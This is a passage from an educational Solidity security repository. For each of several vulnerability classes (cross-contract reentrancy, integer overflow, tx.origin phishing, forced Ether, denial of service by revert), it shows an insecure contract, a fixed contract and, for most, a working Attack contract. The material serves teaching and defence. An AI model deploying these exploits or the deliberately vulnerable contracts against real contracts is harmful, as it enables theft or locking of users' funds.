23 |
24 | interface IMoonToken {
25 | function transferOwnership(address _newOwner) external;
26 | function transfer(address _to, uint256 _value) external returns (bool success);
27 | function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
28 | function balanceOf(address _owner) external view returns (uint256 balance);
29 | function approve(address _spender, uint256 _value) external returns (bool success);
30 | function allowance(address _owner, address _spender) external view returns (uint256 remaining);
31 | function mint(address _to, uint256 _value) external returns (bool success);
32 | function burnAccount(address _from) external returns (bool success);
33 | }
34 |
35 | contract MoonToken {
36 | uint256 private constant MAX_UINT256 = type(uint256).max;
37 | mapping (address => uint256) public balances;
38 | mapping (address => mapping (address => uint256)) public allowed;
39 |
40 | string public constant name = "MOON Token";
41 | string public constant symbol = "MOON";
42 | uint8 public constant decimals = 18;
43 |
44 | uint256 public totalSupply;
45 | address public owner;
46 |
47 | constructor() {
48 | owner = msg.sender;
49 | }
50 |
51 | modifier onlyOwner() {
52 | require(owner == msg.sender, "You are not the owner");
53 | _;
54 | }
55 |
56 | function transferOwnership(address _newOwner) external onlyOwner {
57 | owner = _newOwner;
58 | }
59 |
60 | function transfer(address _to, uint256 _value)
61 | external
62 | returns (bool success)
63 | {
64 | require(balances[msg.sender] >= _value);
65 | balances[msg.sender] -= _value;
66 | balances[_to] += _value;
67 | return true;
68 | }
69 |
70 | function transferFrom(
71 | address _from,
72 | address _to,
73 | uint256 _value
74 | ) external returns (bool success) {
75 | uint256 allowance_ = allowed[_from][msg.sender];
76 | require(balances[_from] >= _value && allowance_ >= _value);
77 |
78 | balances[_to] += _value;
79 | balances[_from] -= _value;
80 |
81 | if (allowance_ < MAX_UINT256) {
82 | allowed[_from][msg.sender] -= _value;
83 | }
84 | return true;
85 | }
86 |
87 | function balanceOf(address _owner)
88 | external
89 | view
90 | returns (uint256 balance)
91 | {
92 | return balances[_owner];
93 | }
94 |
95 | function approve(address _spender, uint256 _value)
96 | external
97 | returns (bool success)
98 | {
99 | allowed[msg.sender][_spender] = _value;
100 | return true;
101 | }
102 |
103 | function allowance(address _owner, address _spender)
104 | external
105 | view
106 | returns (uint256 remaining)
107 | {
108 | return allowed[_owner][_spender];
109 | }
110 |
111 | function mint(address _to, uint256 _value)
112 | external
113 | onlyOwner // MoonVault must be the contract owner
114 | returns (bool success)
115 | {
116 | balances[_to] += _value;
117 | totalSupply += _value;
118 | return true;
119 | }
120 |
121 | function burnAccount(address _from)
122 | external
123 | onlyOwner // MoonVault must be the contract owner
124 | returns (bool success)
125 | {
126 | uint256 amountToBurn = balances[_from];
127 | balances[_from] -= amountToBurn;
128 | totalSupply -= amountToBurn;
129 | return true;
130 | }
131 | }
--------------------------------------------------------------------------------
/05_cross_contract_reentrancy/FixedMoonVault.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-05-cross-contract-reentrancy-30f29e2a01b9
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-05-cross-contract-reentrancy/
10 |
11 | pragma solidity 0.8.17;
12 |
13 | import "./Dependencies.sol";
14 |
15 | // FixedMoonVault must be the contract owner of the MoonToken
16 | contract FixedMoonVault is ReentrancyGuard {
17 | IMoonToken public immutable moonToken;
18 |
19 | constructor(IMoonToken _moonToken) {
20 | moonToken = _moonToken;
21 | }
22 |
23 | function deposit() external payable noReentrant { // Apply the noReentrant modifier
24 | bool success = moonToken.mint(msg.sender, msg.value);
25 | require(success, "Failed to mint token");
26 | }
27 |
28 | function withdrawAll() external noReentrant { // Apply the noReentrant modifier
29 | uint256 balance = getUserBalance(msg.sender);
30 | require(balance > 0, "Insufficient balance"); // Check
31 |
32 | // FIX: Apply checks-effects-interactions pattern
33 | bool success = moonToken.burnAccount(msg.sender); // Effect (call to trusted external contract)
34 | require(success, "Failed to burn token");
35 |
36 | (success, ) = msg.sender.call{value: balance}(""); // Interaction
37 | require(success, "Failed to send Ether");
38 | }
39 |
40 | function getBalance() external view returns (uint256) {
41 | return address(this).balance;
42 | }
43 |
44 | function getUserBalance(address _user) public view returns (uint256) {
45 | return moonToken.balanceOf(_user);
46 | }
47 | }
--------------------------------------------------------------------------------
/05_cross_contract_reentrancy/InsecureMoonVault.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-05-cross-contract-reentrancy-30f29e2a01b9
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-05-cross-contract-reentrancy/
10 |
11 | pragma solidity 0.8.17;
12 |
13 | import "./Dependencies.sol";
14 |
15 | // InsecureMoonVault must be the contract owner of the MoonToken
16 | contract InsecureMoonVault is ReentrancyGuard {
17 | IMoonToken public immutable moonToken;
18 |
19 | constructor(IMoonToken _moonToken) {
20 | moonToken = _moonToken;
21 | }
22 |
23 | function deposit() external payable noReentrant { // Apply the noReentrant modifier
24 | bool success = moonToken.mint(msg.sender, msg.value);
25 | require(success, "Failed to mint token");
26 | }
27 |
28 | function withdrawAll() external noReentrant { // Apply the noReentrant modifier
29 | uint256 balance = getUserBalance(msg.sender);
30 | require(balance > 0, "Insufficient balance");
31 |
32 | (bool success, ) = msg.sender.call{value: balance}("");
33 | require(success, "Failed to send Ether");
34 |
35 | success = moonToken.burnAccount(msg.sender);
36 | require(success, "Failed to burn token");
37 | }
38 |
39 | function getBalance() external view returns (uint256) {
40 | return address(this).balance;
41 | }
42 |
43 | function getUserBalance(address _user) public view returns (uint256) {
44 | return moonToken.balanceOf(_user);
45 | }
46 | }
--------------------------------------------------------------------------------
/05_cross_contract_reentrancy/README.md:
--------------------------------------------------------------------------------
1 | # 05. Cross-Contract Reentrancy
2 |
3 | For more info, please refer to my article:
4 |
5 | | Vulnerability Issue | Article Links |
6 | | --- | --- |
7 | | [Cross-Contract Reentrancy]() | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-05-cross-contract-reentrancy-30f29e2a01b9)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-05-cross-contract-reentrancy/) |
--------------------------------------------------------------------------------
/06_integer_overflow/Attack.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-06-integer-overflow-e1f444f3cc4
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-06-integer-overflow/
10 |
11 | pragma solidity 0.6.12;
12 |
13 | interface IMoonToken {
14 | function buy(uint256 _tokenToBuy) external payable;
15 | function sell(uint256 _tokenToSell) external;
16 | function getEtherBalance() external view returns (uint256);
17 | }
18 |
19 | contract Attack {
20 | uint256 private constant MAX_UINT256 = type(uint256).max;
21 | uint256 public constant TOKEN_PRICE = 1 ether;
22 |
23 | IMoonToken public immutable moonToken;
24 |
25 | constructor(IMoonToken _moonToken) public {
26 | moonToken = _moonToken;
27 | }
28 |
29 | receive() external payable {}
30 |
31 | function calculateTokenToBuy() public pure returns (uint256) {
32 | // Calculate an amount of tokens that makes an integer overflow
33 | return MAX_UINT256 / TOKEN_PRICE + 1;
34 | }
35 |
36 | function getEthersRequired() public pure returns (uint256) {
37 | uint256 amountToBuy = calculateTokenToBuy();
38 |
39 | // Ether (in Wei) required to submit to invoke the attackBuy() function
40 | return amountToBuy * TOKEN_PRICE;
41 | }
42 |
43 | function attackBuy() external payable {
44 | require(getEthersRequired() == msg.value, "Ether received mismatch");
45 | uint256 amountToBuy = calculateTokenToBuy();
46 | moonToken.buy{value: msg.value}(amountToBuy);
47 | }
48 |
49 | function calculateTokenToSell() public view returns (uint256) {
50 | // Calculate the maximum Ethers that can drain out
51 | return moonToken.getEtherBalance() / TOKEN_PRICE;
52 | }
53 |
54 | // Maximum Ethers that can drain out = moonToken.balance / 10 ** 18 only,
55 | // since moonToken.decimals = 0 and 1 token = 1 Ether always
56 | // (The token is non-divisible. You can buy/sell 1, 2, 3, or 46 tokens but not 33.5.)
57 | function attackSell() external {
58 | uint256 amountToSell = calculateTokenToSell();
59 | moonToken.sell(amountToSell);
60 | }
61 |
62 | function getEtherBalance() external view returns (uint256) {
63 | return address(this).balance;
64 | }
65 | }
--------------------------------------------------------------------------------
/06_integer_overflow/FixedMoonToken.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-06-integer-overflow-e1f444f3cc4
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-06-integer-overflow/
10 |
11 | pragma solidity 0.6.12;
12 |
13 | // Simplified SafeMath
14 | library SafeMath {
15 | function add(uint256 a, uint256 b) internal pure returns (uint256) {
16 | uint256 c = a + b;
17 | require(c >= a, "SafeMath: addition overflow");
18 |
19 | return c;
20 | }
21 |
22 | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
23 | require(b <= a, "SafeMath: subtraction overflow");
24 | uint256 c = a - b;
25 |
26 | return c;
27 | }
28 |
29 | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
30 | if (a == 0) {
31 | return 0;
32 | }
33 |
34 | uint256 c = a * b;
35 | require(c / a == b, "SafeMath: multiplication overflow");
36 |
37 | return c;
38 | }
39 | }
40 |
41 | contract FixedMoonToken {
42 | using SafeMath for uint256;
43 |
44 | mapping (address => uint256) private userBalances;
45 |
46 | uint256 public constant TOKEN_PRICE = 1 ether;
47 | string public constant name = "Moon Token";
48 | string public constant symbol = "MOON";
49 |
50 | // The token is non-divisible
51 | // You can buy/sell 1, 2, 3, or 46 tokens but not 33.5
52 | uint8 public constant decimals = 0;
53 |
54 | function buy(uint256 _tokenToBuy) external payable {
55 | require(
56 | msg.value == _tokenToBuy.mul(TOKEN_PRICE), // FIX: Apply SafeMath
57 | "Ether received and Token amount to buy mismatch"
58 | );
59 |
60 | userBalances[msg.sender] = userBalances[msg.sender].add(_tokenToBuy); // FIX: Apply SafeMath
61 | }
62 |
63 | function sell(uint256 _tokenToSell) external {
64 | require(userBalances[msg.sender] >= _tokenToSell, "Insufficient balance");
65 |
66 | userBalances[msg.sender] = userBalances[msg.sender].sub(_tokenToSell); // FIX: Apply SafeMath
67 |
68 | (bool success, ) = msg.sender.call{value: _tokenToSell.mul(TOKEN_PRICE)}(""); // FIX: Apply SafeMath
69 | require(success, "Failed to send Ether");
70 | }
71 |
72 | function getEtherBalance() external view returns (uint256) {
73 | return address(this).balance;
74 | }
75 |
76 | function getUserBalance(address _user) external view returns (uint256) {
77 | return userBalances[_user];
78 | }
79 | }
--------------------------------------------------------------------------------
/06_integer_overflow/InsecureMoonToken.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-06-integer-overflow-e1f444f3cc4
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-06-integer-overflow/
10 |
11 | pragma solidity 0.6.12;
12 |
13 | contract InsecureMoonToken {
14 | mapping (address => uint256) private userBalances;
15 |
16 | uint256 public constant TOKEN_PRICE = 1 ether;
17 | string public constant name = "Moon Token";
18 | string public constant symbol = "MOON";
19 |
20 | // The token is non-divisible
21 | // You can buy/sell 1, 2, 3, or 46 tokens but not 33.5
22 | uint8 public constant decimals = 0;
23 |
24 | function buy(uint256 _tokenToBuy) external payable {
25 | require(
26 | msg.value == _tokenToBuy * TOKEN_PRICE,
27 | "Ether received and Token amount to buy mismatch"
28 | );
29 |
30 | userBalances[msg.sender] += _tokenToBuy;
31 | }
32 |
33 | function sell(uint256 _tokenToSell) external {
34 | require(userBalances[msg.sender] >= _tokenToSell, "Insufficient balance");
35 |
36 | userBalances[msg.sender] -= _tokenToSell;
37 |
38 | (bool success, ) = msg.sender.call{value: _tokenToSell * TOKEN_PRICE}("");
39 | require(success, "Failed to send Ether");
40 | }
41 |
42 | function getEtherBalance() external view returns (uint256) {
43 | return address(this).balance;
44 | }
45 |
46 | function getUserBalance(address _user) external view returns (uint256) {
47 | return userBalances[_user];
48 | }
49 | }
--------------------------------------------------------------------------------
/06_integer_overflow/README.md:
--------------------------------------------------------------------------------
1 | # 06. Integer Overflow
2 |
3 | For more info, please refer to my article:
4 |
5 | | Vulnerability Issue | Article Links |
6 | | --- | --- |
7 | | [Integer Overflow]() | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-06-integer-overflow-e1f444f3cc4)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-06-integer-overflow/) |
--------------------------------------------------------------------------------
/07_phishing_with_improper_authorization/FixedDonation.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-07-phishing-with-improper-authorization-232dacf307e3
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-07-phishing-with-improper-authorization/
10 |
11 | pragma solidity 0.8.17;
12 |
13 | contract FixedDonation {
14 | address public immutable owner;
15 |
16 | constructor() {
17 | owner = msg.sender;
18 | }
19 |
20 | function buyMeACoffee() external payable {
21 | }
22 |
23 | function getBalance() external view returns (uint256) {
24 | return address(this).balance;
25 | }
26 |
27 | function collectEthers(address payable _to, uint256 _amount) external {
28 | require(msg.sender == owner, "Not owner"); // FIX: Use msg.sender instead of tx.origin
29 |
30 | (bool success, ) = _to.call{value: _amount}("");
31 | require(success, "Failed to send Ether");
32 | }
33 | }
--------------------------------------------------------------------------------
/07_phishing_with_improper_authorization/InsecureDonation.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-07-phishing-with-improper-authorization-232dacf307e3
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-07-phishing-with-improper-authorization/
10 |
11 | pragma solidity 0.8.17;
12 |
13 | contract InsecureDonation {
14 | address public immutable owner;
15 |
16 | constructor() {
17 | owner = msg.sender;
18 | }
19 |
20 | function buyMeACoffee() external payable {
21 | }
22 |
23 | function getBalance() external view returns (uint256) {
24 | return address(this).balance;
25 | }
26 |
27 | function collectEthers(address payable _to, uint256 _amount) external {
28 | require(tx.origin == owner, "Not owner");
29 |
30 | (bool success, ) = _to.call{value: _amount}("");
31 | require(success, "Failed to send Ether");
32 | }
33 | }
--------------------------------------------------------------------------------
/07_phishing_with_improper_authorization/PhishingAttack.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-07-phishing-with-improper-authorization-232dacf307e3
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-07-phishing-with-improper-authorization/
10 |
11 | pragma solidity 0.8.17;
12 |
13 | interface IDonation {
14 | function collectEthers(address payable _to, uint256 _amount) external;
15 | }
16 |
17 | contract PhishingAttack {
18 | IDonation public immutable donationContract;
19 |
20 | constructor(IDonation _donationContract) {
21 | donationContract = _donationContract;
22 | }
23 |
24 | receive() external payable {}
25 |
26 | function bait() external {
27 | donationContract.collectEthers(
28 | payable(address(this)),
29 | address(donationContract).balance
30 | );
31 | }
32 |
33 | function getBalance() external view returns (uint256) {
34 | return address(this).balance;
35 | }
36 | }
--------------------------------------------------------------------------------
/07_phishing_with_improper_authorization/README.md:
--------------------------------------------------------------------------------
1 | # 07. Phishing With Improper Authorization
2 |
3 | For more info, please refer to my article:
4 |
5 | | Vulnerability Issue | Article Links |
6 | | --- | --- |
7 | | [Phishing With Improper Authorization]() | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-07-phishing-with-improper-authorization-232dacf307e3)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-07-phishing-with-improper-authorization/) |
--------------------------------------------------------------------------------
/08_unexpected_ether_with_forcibly_sending_ether/Attack.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-08-unexpected-ether-with-forcibly-sending-ether-e13be2c6b985
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-08-unexpected-ether-with-forcibly-sending-ether/
10 |
11 | pragma solidity 0.8.17;
12 |
13 | contract Attack {
14 | address immutable moonToken;
15 |
16 | constructor(address _moonToken) {
17 | moonToken = _moonToken;
18 | }
19 |
20 | function attack() external payable {
21 | require(msg.value != 0, "Require some Ether to attack");
22 |
23 | address payable target = payable(moonToken);
24 | selfdestruct(target);
25 | }
26 | }
--------------------------------------------------------------------------------
/08_unexpected_ether_with_forcibly_sending_ether/FixedMoonToken.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-08-unexpected-ether-with-forcibly-sending-ether-e13be2c6b985
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-08-unexpected-ether-with-forcibly-sending-ether/
10 |
11 | pragma solidity 0.8.17;
12 |
13 | contract FixedMoonToken {
14 | mapping (address => uint256) private userBalances;
15 |
16 | uint256 public constant TOKEN_PRICE = 1 ether;
17 | string public constant name = "Moon Token";
18 | string public constant symbol = "MOON";
19 |
20 | // The token is non-divisible
21 | // You can buy/sell/transfer 1, 2, 3, or 46 tokens but not 33.5
22 | uint8 public constant decimals = 0;
23 |
24 | uint256 public totalSupply;
25 |
26 | function buy(uint256 _amount) external payable {
27 | require(
28 | msg.value == _amount * TOKEN_PRICE,
29 | "Ether submitted and Token amount to buy mismatch"
30 | );
31 |
32 | userBalances[msg.sender] += _amount;
33 | totalSupply += _amount;
34 | }
35 |
36 | function sell(uint256 _amount) external {
37 | require(userBalances[msg.sender] >= _amount, "Insufficient balance");
38 |
39 | userBalances[msg.sender] -= _amount;
40 | totalSupply -= _amount;
41 |
42 | (bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}("");
43 | require(success, "Failed to send Ether");
44 |
45 | // FIX: Do not rely on address(this).balance. If necessary, however,
46 | // apply assert(address(this).balance >= totalSupply * TOKEN_PRICE); instead
47 | assert(getEtherBalance() >= totalSupply * TOKEN_PRICE);
48 | }
49 |
50 | function transfer(address _to, uint256 _amount) external {
51 | require(_to != address(0), "_to address is not valid");
52 | require(userBalances[msg.sender] >= _amount, "Insufficient balance");
53 |
54 | userBalances[msg.sender] -= _amount;
55 | userBalances[_to] += _amount;
56 | }
57 |
58 | function getEtherBalance() public view returns (uint256) {
59 | return address(this).balance;
60 | }
61 |
62 | function getUserBalance(address _user) external view returns (uint256) {
63 | return userBalances[_user];
64 | }
65 | }
--------------------------------------------------------------------------------
/08_unexpected_ether_with_forcibly_sending_ether/InsecureMoonToken.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-08-unexpected-ether-with-forcibly-sending-ether-e13be2c6b985
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-08-unexpected-ether-with-forcibly-sending-ether/
10 |
11 | pragma solidity 0.8.17;
12 |
13 | contract InsecureMoonToken {
14 | mapping (address => uint256) private userBalances;
15 |
16 | uint256 public constant TOKEN_PRICE = 1 ether;
17 | string public constant name = "Moon Token";
18 | string public constant symbol = "MOON";
19 |
20 | // The token is non-divisible
21 | // You can buy/sell/transfer 1, 2, 3, or 46 tokens but not 33.5
22 | uint8 public constant decimals = 0;
23 |
24 | uint256 public totalSupply;
25 |
26 | function buy(uint256 _amount) external payable {
27 | require(
28 | msg.value == _amount * TOKEN_PRICE,
29 | "Ether submitted and Token amount to buy mismatch"
30 | );
31 |
32 | userBalances[msg.sender] += _amount;
33 | totalSupply += _amount;
34 | }
35 |
36 | function sell(uint256 _amount) external {
37 | require(userBalances[msg.sender] >= _amount, "Insufficient balance");
38 |
39 | userBalances[msg.sender] -= _amount;
40 | totalSupply -= _amount;
41 |
42 | (bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}("");
43 | require(success, "Failed to send Ether");
44 |
45 | assert(getEtherBalance() == totalSupply * TOKEN_PRICE);
46 | }
47 |
48 | function transfer(address _to, uint256 _amount) external {
49 | require(_to != address(0), "_to address is not valid");
50 | require(userBalances[msg.sender] >= _amount, "Insufficient balance");
51 |
52 | userBalances[msg.sender] -= _amount;
53 | userBalances[_to] += _amount;
54 | }
55 |
56 | function getEtherBalance() public view returns (uint256) {
57 | return address(this).balance;
58 | }
59 |
60 | function getUserBalance(address _user) external view returns (uint256) {
61 | return userBalances[_user];
62 | }
63 | }
--------------------------------------------------------------------------------
/08_unexpected_ether_with_forcibly_sending_ether/README.md:
--------------------------------------------------------------------------------
1 | # 08. Unexpected Ether With Forcibly Sending Ether
2 |
3 | For more info, please refer to my article:
4 |
5 | | Vulnerability Issue | Article Links |
6 | | --- | --- |
7 | | [Unexpected Ether With Forcibly Sending Ether]() | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-08-unexpected-ether-with-forcibly-sending-ether-e13be2c6b985)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-08-unexpected-ether-with-forcibly-sending-ether/) |
--------------------------------------------------------------------------------
/09_denial_of_service_with_revert/Attack.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-09-denial-of-service-with-revert-814f55b61e02
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-09-denial-of-service-with-revert/
10 |
11 | pragma solidity 0.8.19;
12 |
13 | interface IWinnerTakesItAll {
14 | function claimLeader() external payable;
15 | function claimPrincipalAndReward() external;
16 | function isChallengeEnd() external view returns (bool);
17 | }
18 |
19 | contract Attack {
20 | address public immutable owner;
21 | IWinnerTakesItAll public immutable targetContract;
22 |
23 | constructor(IWinnerTakesItAll _targetContract) {
24 | owner = msg.sender;
25 | targetContract = _targetContract;
26 | }
27 |
28 | modifier onlyOwner() {
29 | require(owner == msg.sender, "You are not the owner");
30 | _;
31 | }
32 |
33 | receive() external payable {
34 | if (!targetContract.isChallengeEnd()) {
35 | // Revert a transaction if the challenge does not end
36 | revert();
37 | }
38 | // Receive the profit if the challenge ends
39 | }
40 |
41 | function attack() external payable onlyOwner {
42 | targetContract.claimLeader{value: msg.value}();
43 | }
44 |
45 | function claimPrincipalAndReward() external onlyOwner {
46 | targetContract.claimPrincipalAndReward();
47 |
48 | (bool success, ) = owner.call{value: address(this).balance}("");
49 | require(success, "Failed to send Ether");
50 | }
51 | }
--------------------------------------------------------------------------------
/09_denial_of_service_with_revert/Dependencies.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-09-denial-of-service-with-revert-814f55b61e02
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-09-denial-of-service-with-revert/
10 |
11 | pragma solidity 0.8.19;
12 |
13 | abstract contract ReentrancyGuard {
14 | bool internal locked;
15 |
16 | modifier noReentrant() {
17 | require(!locked, "No re-entrancy");
18 | locked = true;
19 | _;
20 | locked = false;
21 | }
22 | }
--------------------------------------------------------------------------------
/09_denial_of_service_with_revert/FixedWinnerTakesItAll.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
2 |
3 | //-------------------------------------------------------------------------------------//
4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) //
5 | //-------------------------------------------------------------------------------------//
6 |
7 | // For more info, please refer to my article:
8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-09-denial-of-service-with-revert-814f55b61e02
9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-09-denial-of-service-with-revert/
10 |
11 | pragma solidity 0.8.19;
12 |
13 | import "./Dependencies.sol";
14 |
15 | // Preventive solution
16 | // -> Let users withdraw their Ethers instead of sending the Ethers to them (pull model)
17 |
18 | contract FixedWinnerTakesItAll is ReentrancyGuard {
19 | address public currentleader;
20 | uint256 public lastDepositedAmount;
21 |
22 | mapping (address => uint256) public prevLeaderRefunds; // FIX: For recording available refunds of all previous leaders
23 |
24 | uint256 public currentLeaderReward;
25 | uint256 public nextLeaderReward;
26 |
27 | bool public rewardClaimed;
28 | uint256 public immutable challengeEnd;
29 |
30 | constructor(uint256 _challengePeriod) payable {
31 | require(msg.value == 10 ether, "Require an initial 10 Ethers reward");
32 |
33 | currentleader = address(0);
34 | lastDepositedAmount = msg.value;
35 | currentLeaderReward = 0;
36 | nextLeaderReward = msg.value;
37 | rewardClaimed = false;
38 | challengeEnd = block.timestamp + _challengePeriod;
39 | }
40 |
41 | function claimLeader() external payable noReentrant {
42 | require(block.timestamp < challengeEnd, "Challenge is finished");
43 | require(msg.sender != currentleader, "You are the current leader");
44 | require(msg.value > lastDepositedAmount, "You must pay more than the current leader");
45 |
46 | if (currentleader == address(0)) { // First claimer (no need to refund the initial reward)
47 | // Assign the new leader
48 | currentleader = msg.sender;
49 | lastDepositedAmount = msg.value;
50 |
51 | currentLeaderReward = nextLeaderReward; // Accrue the reward
52 | nextLeaderReward += lastDepositedAmount / 10; // Deduct 10% from the last deposited amount for the next leader
53 | }
54 | else { // Next claimers
55 | // Refund the previous leader with 90% of his deposit
56 | uint256 refundAmount = lastDepositedAmount * 9 / 10;
57 |
58 | // Assign the new leader
59 | address prevLeader = currentleader;
60 | currentleader = msg.sender;
61 | lastDepositedAmount = msg.value;
62 |
63 | currentLeaderReward = nextLeaderReward; // Accrue the reward
64 | nextLeaderReward += lastDepositedAmount / 10; // Deduct 10% from the last deposited amount for the next leader
65 |
66 | // FIX: Record a refund for the previous leader
67 | prevLeaderRefunds[prevLeader] += refundAmount;
68 | }
69 | }
70 |
71 | // FIX: For previous leaders to claim their refunds
